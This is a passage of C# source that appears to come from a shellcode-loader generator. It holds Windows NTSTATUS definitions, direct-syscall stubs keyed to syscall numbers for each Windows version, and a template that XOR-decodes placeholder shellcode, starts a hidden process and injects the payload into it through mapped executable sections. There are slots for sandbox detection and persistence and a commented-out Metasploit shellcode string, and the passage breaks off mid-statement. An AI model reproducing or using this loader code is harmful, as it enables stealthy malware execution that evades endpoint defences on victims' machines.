0x00000112, + PageFaultGuardPage = 0x00000113, + PageFaultPagingFile = 0x00000114, + CrashDump = 0x00000116, + ReparseObject = 0x00000118, + NothingToTerminate = 0x00000122, + ProcessNotInJob = 0x00000123, + ProcessInJob = 0x00000124, + ProcessCloned = 0x00000129, + FileLockedWithOnlyReaders = 0x0000012a, + FileLockedWithWriters = 0x0000012b, + + // Informational + Informational = 0x40000000, + ObjectNameExists = 0x40000000, + ThreadWasSuspended = 0x40000001, + WorkingSetLimitRange = 0x40000002, + ImageNotAtBase = 0x40000003, + RegistryRecovered = 0x40000009, + + // Warning + Warning = 0x80000000, + GuardPageViolation = 0x80000001, + DatatypeMisalignment = 0x80000002, + Breakpoint = 0x80000003, + SingleStep = 0x80000004, + BufferOverflow = 0x80000005, + NoMoreFiles = 0x80000006, + HandlesClosed = 0x8000000a, + PartialCopy = 0x8000000d, + DeviceBusy = 0x80000011, + InvalidEaName = 0x80000013, + EaListInconsistent = 0x80000014, + NoMoreEntries = 0x8000001a, + LongJump = 0x80000026, + DllMightBeInsecure = 0x8000002b, + + // Error + Error = 0xc0000000, + Unsuccessful = 0xc0000001, + NotImplemented = 0xc0000002, + InvalidInfoClass = 0xc0000003, + InfoLengthMismatch = 0xc0000004, + AccessViolation = 0xc0000005, + InPageError = 0xc0000006, + PagefileQuota = 0xc0000007, + InvalidHandle = 0xc0000008, + BadInitialStack = 0xc0000009, + BadInitialPc = 0xc000000a, + InvalidCid = 0xc000000b, + TimerNotCanceled = 0xc000000c, + InvalidParameter = 0xc000000d, + NoSuchDevice = 0xc000000e, + NoSuchFile = 0xc000000f, + InvalidDeviceRequest = 0xc0000010, + EndOfFile = 0xc0000011, + WrongVolume = 0xc0000012, + NoMediaInDevice = 0xc0000013, + NoMemory = 0xc0000017, + ConflictingAddresses = 0xc0000018, + NotMappedView = 0xc0000019, + UnableToFreeVm = 0xc000001a, + UnableToDeleteSection = 0xc000001b, + IllegalInstruction = 0xc000001d, + AlreadyCommitted = 0xc0000021, + AccessDenied = 0xc0000022, + BufferTooSmall = 0xc0000023, + ObjectTypeMismatch = 0xc0000024, + NonContinuableException = 0xc0000025, + BadStack = 0xc0000028, + NotLocked = 0xc000002a, + NotCommitted = 0xc000002d, + InvalidParameterMix = 0xc0000030, + ObjectNameInvalid = 0xc0000033, + ObjectNameNotFound = 0xc0000034, + ObjectNameCollision = 0xc0000035, + ObjectPathInvalid = 0xc0000039, + ObjectPathNotFound = 0xc000003a, + ObjectPathSyntaxBad = 0xc000003b, + DataOverrun = 0xc000003c, + DataLate = 0xc000003d, + DataError = 0xc000003e, + CrcError = 0xc000003f, + SectionTooBig = 0xc0000040, + PortConnectionRefused = 0xc0000041, + InvalidPortHandle = 0xc0000042, + SharingViolation = 0xc0000043, + QuotaExceeded = 0xc0000044, + InvalidPageProtection = 0xc0000045, + MutantNotOwned = 0xc0000046, + SemaphoreLimitExceeded = 0xc0000047, + PortAlreadySet = 0xc0000048, + SectionNotImage = 0xc0000049, + SuspendCountExceeded = 0xc000004a, + ThreadIsTerminating = 0xc000004b, + BadWorkingSetLimit = 0xc000004c, + IncompatibleFileMap = 0xc000004d, + SectionProtection = 0xc000004e, + EasNotSupported = 0xc000004f, + EaTooLarge = 0xc0000050, + NonExistentEaEntry = 0xc0000051, + NoEasOnFile = 0xc0000052, + EaCorruptError = 0xc0000053, + FileLockConflict = 0xc0000054, + LockNotGranted = 0xc0000055, + DeletePending = 0xc0000056, + CtlFileNotSupported = 0xc0000057, + UnknownRevision = 0xc0000058, + RevisionMismatch = 0xc0000059, + InvalidOwner = 0xc000005a, + InvalidPrimaryGroup = 0xc000005b, + NoImpersonationToken = 0xc000005c, + CantDisableMandatory = 0xc000005d, + NoLogonServers = 0xc000005e, + NoSuchLogonSession = 0xc000005f, + NoSuchPrivilege = 0xc0000060, + PrivilegeNotHeld = 0xc0000061, + InvalidAccountName = 0xc0000062, + UserExists = 0xc0000063, + NoSuchUser = 0xc0000064, + GroupExists = 0xc0000065, + NoSuchGroup = 0xc0000066, + MemberInGroup = 0xc0000067, + MemberNotInGroup = 0xc0000068, + LastAdmin = 0xc0000069, + WrongPassword = 0xc000006a, + IllFormedPassword = 0xc000006b, + PasswordRestriction = 0xc000006c, + LogonFailure = 0xc000006d, + AccountRestriction = 0xc000006e, + InvalidLogonHours = 0xc000006f, + InvalidWorkstation = 0xc0000070, + PasswordExpired = 0xc0000071, + AccountDisabled = 0xc0000072, + NoneMapped = 0xc0000073, + TooManyLuidsRequested = 0xc0000074, + LuidsExhausted = 0xc0000075, + InvalidSubAuthority = 0xc0000076, + InvalidAcl = 0xc0000077, + InvalidSid = 0xc0000078, + InvalidSecurityDescr = 0xc0000079, + ProcedureNotFound = 0xc000007a, + InvalidImageFormat = 0xc000007b, + NoToken = 0xc000007c, + BadInheritanceAcl = 0xc000007d, + RangeNotLocked = 0xc000007e, + DiskFull = 0xc000007f, + ServerDisabled = 0xc0000080, + ServerNotDisabled = 0xc0000081, + TooManyGuidsRequested = 0xc0000082, + GuidsExhausted = 0xc0000083, + InvalidIdAuthority = 0xc0000084, + AgentsExhausted = 0xc0000085, + InvalidVolumeLabel = 0xc0000086, + SectionNotExtended = 0xc0000087, + NotMappedData = 0xc0000088, + ResourceDataNotFound = 0xc0000089, + ResourceTypeNotFound = 0xc000008a, + ResourceNameNotFound = 0xc000008b, + ArrayBoundsExceeded = 0xc000008c, + FloatDenormalOperand = 0xc000008d, + FloatDivideByZero = 0xc000008e, + FloatInexactResult = 0xc000008f, + FloatInvalidOperation = 0xc0000090, + FloatOverflow = 0xc0000091, + FloatStackCheck = 0xc0000092, + FloatUnderflow = 0xc0000093, + IntegerDivideByZero = 0xc0000094, + IntegerOverflow = 0xc0000095, + PrivilegedInstruction = 0xc0000096, + TooManyPagingFiles = 0xc0000097, + FileInvalid = 0xc0000098, + InstanceNotAvailable = 0xc00000ab, + PipeNotAvailable = 0xc00000ac, + InvalidPipeState = 0xc00000ad, + PipeBusy = 0xc00000ae, + IllegalFunction = 0xc00000af, + PipeDisconnected = 0xc00000b0, + PipeClosing = 0xc00000b1, + PipeConnected = 0xc00000b2, + PipeListening = 0xc00000b3, + InvalidReadMode = 0xc00000b4, + IoTimeout = 0xc00000b5, + FileForcedClosed = 0xc00000b6, + ProfilingNotStarted = 0xc00000b7, + ProfilingNotStopped = 0xc00000b8, + NotSameDevice = 0xc00000d4, + FileRenamed = 0xc00000d5, + CantWait = 0xc00000d8, + PipeEmpty = 0xc00000d9, + CantTerminateSelf = 0xc00000db, + InternalError = 0xc00000e5, + InvalidParameter1 = 0xc00000ef, + InvalidParameter2 = 0xc00000f0, + InvalidParameter3 = 0xc00000f1, + InvalidParameter4 = 0xc00000f2, + InvalidParameter5 = 0xc00000f3, + InvalidParameter6 = 0xc00000f4, + InvalidParameter7 = 0xc00000f5, + InvalidParameter8 = 0xc00000f6, + InvalidParameter9 = 0xc00000f7, + InvalidParameter10 = 0xc00000f8, + InvalidParameter11 = 0xc00000f9, + InvalidParameter12 = 0xc00000fa, + MappedFileSizeZero = 0xc000011e, + TooManyOpenedFiles = 0xc000011f, + Cancelled = 0xc0000120, + CannotDelete = 0xc0000121, + InvalidComputerName = 0xc0000122, + FileDeleted = 0xc0000123, + SpecialAccount = 0xc0000124, + SpecialGroup = 0xc0000125, + SpecialUser = 0xc0000126, + MembersPrimaryGroup = 0xc0000127, + FileClosed = 0xc0000128, + TooManyThreads = 0xc0000129, + ThreadNotInProcess = 0xc000012a, + TokenAlreadyInUse = 0xc000012b, + PagefileQuotaExceeded = 0xc000012c, + CommitmentLimit = 0xc000012d, + InvalidImageLeFormat = 0xc000012e, + InvalidImageNotMz = 0xc000012f, + InvalidImageProtect = 0xc0000130, + InvalidImageWin16 = 0xc0000131, + LogonServer = 0xc0000132, + DifferenceAtDc = 0xc0000133, + SynchronizationRequired = 0xc0000134, + DllNotFound = 0xc0000135, + IoPrivilegeFailed = 0xc0000137, + OrdinalNotFound = 0xc0000138, + EntryPointNotFound = 0xc0000139, + ControlCExit = 0xc000013a, + PortNotSet = 0xc0000353, + DebuggerInactive = 0xc0000354, + CallbackBypass = 0xc0000503, + PortClosed = 0xc0000700, + MessageLost = 0xc0000701, + InvalidMessage = 0xc0000702, + RequestCanceled = 0xc0000703, + RecursiveDispatch = 0xc0000704, + LpcReceiveBufferExpected = 0xc0000705, + LpcInvalidConnectionUsage = 0xc0000706, + LpcRequestsNotAllowed = 0xc0000707, + ResourceInUse = 0xc0000708, + ProcessIsProtected = 0xc0000712, + VolumeDirty = 0xc0000806, + FileCheckedOut = 0xc0000901, + CheckOutRequired = 0xc0000902, + BadFileType = 0xc0000903, + FileTooLarge = 0xc0000904, + FormsAuthRequired = 0xc0000905, + VirusInfected = 0xc0000906, + VirusDeleted = 0xc0000907, + TransactionalConflict = 0xc0190001, + InvalidTransaction = 0xc0190002, + TransactionNotActive = 0xc0190003, + TmInitializationFailed = 0xc0190004, + RmNotActive = 0xc0190005, + RmMetadataCorrupt = 0xc0190006, + TransactionNotJoined = 0xc0190007, + DirectoryNotRm = 0xc0190008, + CouldNotResizeLog = 0xc0190009, + TransactionsUnsupportedRemote = 0xc019000a, + LogResizeInvalidSize = 0xc019000b, + RemoteFileVersionMismatch = 0xc019000c, + CrmProtocolAlreadyExists = 0xc019000f, + TransactionPropagationFailed = 0xc0190010, + CrmProtocolNotFound = 0xc0190011, + TransactionSuperiorExists = 0xc0190012, + TransactionRequestNotValid = 0xc0190013, + TransactionNotRequested = 0xc0190014, + TransactionAlreadyAborted = 0xc0190015, + TransactionAlreadyCommitted = 0xc0190016, + TransactionInvalidMarshallBuffer = 0xc0190017, + CurrentTransactionNotValid = 0xc0190018, + LogGrowthFailed = 0xc0190019, + ObjectNoLongerExists = 0xc0190021, + StreamMiniversionNotFound = 0xc0190022, + StreamMiniversionNotValid = 0xc0190023, + MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, + CantOpenMiniversionWithModifyIntent = 0xc0190025, + CantCreateMoreStreamMiniversions = 0xc0190026, + HandleNoLongerValid = 0xc0190028, + NoTxfMetadata = 0xc0190029, + LogCorruptionDetected = 0xc0190030, + CantRecoverWithHandleOpen = 0xc0190031, + RmDisconnected = 0xc0190032, + EnlistmentNotSuperior = 0xc0190033, + RecoveryNotNeeded = 0xc0190034, + RmAlreadyStarted = 0xc0190035, + FileIdentityNotPersistent = 0xc0190036, + CantBreakTransactionalDependency = 0xc0190037, + CantCrossRmBoundary = 0xc0190038, + TxfDirNotEmpty = 0xc0190039, + IndoubtTransactionsExist = 0xc019003a, + TmVolatile = 0xc019003b, + RollbackTimerExpired = 0xc019003c, + TxfAttributeCorrupt = 0xc019003d, + EfsNotAllowedInTransaction = 0xc019003e, + TransactionalOpenNotAllowed = 0xc019003f, + TransactedMappingUnsupportedRemote = 0xc0190040, + TxfMetadataAlreadyPresent = 0xc0190041, + TransactionScopeCallbacksNotSet = 0xc0190042, + TransactionRequiredPromotion = 0xc0190043, + CannotExecuteFileInTransaction = 0xc0190044, + TransactionsNotFrozen = 0xc0190045, + + MaximumNtStatus = 0xffffffff + } + + [DllImport(""kernel32.dll"")] + public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)] + public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo); + + [DllImport(""ntdll.dll"", SetLastError = true)] + public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo); + } + + class syscalls + { + + + public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + public static Dictionary> sysDic = new Dictionary>() + { + { ""win10-1507"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB3}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1511"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB4}, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1607"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB6}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1703"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB9}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1709"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBA}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1803"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBB}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1809"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBC}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1903-9"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBD}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win8-12"", new Dictionary() + { + { ""openprocess"",0x24}, + { ""allocatevirtualmem"", 0x16}, + { ""writevirtualmem"", 0x38}, + { ""createremthread"", 0xAF}, + { ""createsection"", 0x48 }, + { ""mapviewofsec"", 0x26 } + } + }, + { ""win8.1-12r2"", new Dictionary() + { + { ""openprocess"",0x25}, + { ""allocatevirtualmem"", 0x17}, + { ""writevirtualmem"", 0x39}, + { ""createremthread"", 0xB0}, + { ""createsection"", 0x49 }, + { ""mapviewofsec"", 0x27 } + } + }, + { ""w7-08"", new Dictionary() + { + { ""openprocess"",0x23}, + { ""allocatevirtualmem"", 0x15}, + { ""writevirtualmem"", 0x37}, + { ""createremthread"", 0xA5}, + { ""createsection"", 0x47 }, + { ""mapviewofsec"", 0x25 } + } + } + }; + + public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""openprocess""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); + } + } + } + + public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""createremthread""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + //// + //// + + + Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer); + } + } + } + + public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""writevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); + } + } + } + + + public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""allocatevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); + } + } + } + + public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""createsection""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile); + } + } + } + + public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""mapviewofsec""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot); + } + } + } + + public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""writevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); + } + } + } + + + public struct Delegates + { + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); + } + } +}"; + + //syscall 注入新进程 + public static string syscall_new = @"using System; +using System.Runtime.InteropServices; +using System.Security; +using System.ComponentModel; +using System.Diagnostics; +using System.Collections; +using System.Collections.Generic; +using System.Deployment.Internal; +using System.Linq; +using System.Text; + +namespace CS_SysCall +{ + class Program + { + public const int ALLOCWRITE = 1; + public const int OPENSEC = 2; + + public static byte string_to_int(string str) + { + string temp = str.Substring(str.Length - 2, 2); + int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); + return BitConverter.GetBytes(hex)[0]; + } + + public static byte[] XOR_C(string raw) + { + string[] xxxxx_array = raw.Split(','); + byte[] result = new byte[xxxxx_array.Length]; + int j = 234; + int add = 12; + for (int i = 0; i < xxxxx_array.Length; i++) + { + string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); + temp = ""0x"" + temp.Substring(temp.Length - 2, 2); + result[i] = string_to_int(temp); + j += add; + } + return result; + } + + static unsafe void Main(string[] args) + { + //{{sanbox_vm_detect}} + //{{persistence}} + string osV = getOsVers(); + Process p = new Process(); + p.StartInfo = new ProcessStartInfo(""{{processname}}""); + + p.StartInfo.CreateNoWindow = true; + + p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + p.Start(); + + string xxxx = ""{{shellcode}}""; + + byte[] xxxxx = XOR_C(xxxx); + + yr_var_foobar_2_ccx(osV, OPENSEC, p.Id, xxxxx); + } + + public static string getOsVers() + { + nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW(); + osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); + nativeStructs.RtlGetVersion(ref osInfo); + string osV = """"; + + switch (osInfo.dwMajorVersion) + { + case 10: + switch (osInfo.dwBuildNumber) + { + case 10240: + osV = ""win10-1507""; + break; + case 10586: + osV = ""win10-1511""; + break; + case 14393: + osV = ""win10-1607""; + break; + case 15063: + osV = ""win10-1703""; + break; + case 16299: + osV = ""win10-1709""; + break; + case 17134: + osV = ""win10-1803""; + break; + case 17763: + osV = ""win10-1809""; + break; + case 18362: + osV = ""win10-1903-9""; + break; + } + break; + case 6: + switch (osInfo.dwMinorVersion) + { + case 1: + osV = ""w7-08""; + break; + case 2: + osV = ""win8-12""; + break; + case 3: + osV = ""win8.1-12r2""; + break; + } + break; + default: + osV = """"; + break; + } + return osV; + } + + public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx) + { + + //Process targetProcess = Process.GetProcessesByName(processName)[0]; + + //int id = targetProcess.Id; + int id = pid; + //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id); + + //msf messagebox x64 + //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==""; + //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s); + + + + nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID(); + clientid.UniqueProcess = new IntPtr(id); + clientid.UniqueThread = IntPtr.Zero; + + IntPtr bufferReal = IntPtr.Zero; + IntPtr procHandle = IntPtr.Zero; + syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os); + IntPtr remoteAddr = new IntPtr(); + + switch (method) + { + case ALLOCWRITE: + //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process""); + UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length)); + + syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + IntPtr written = IntPtr.Zero; + IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length); + Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length); + syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os); + + break; + case OPENSEC: + //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process""); + //create required structs/variables + IntPtr localAddr = new IntPtr(null); + Process thisProc = Process.GetCurrentProcess(); + nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER(); + uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length); + liVal.LowPart = size_; + + //create local section + IntPtr section_ = new IntPtr(); + IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length); + long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os); + + //map local section + status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + //map remote section + status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + //copy yr_var_foobar_1_ccx to local section + Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length); + + break; + } + + + + //bool is64bit = Environment.Is64BitProcess; + int temp1 = 0, temp2 = 0; + nativeStructs.NtCreateThreadExBuffer nb = new 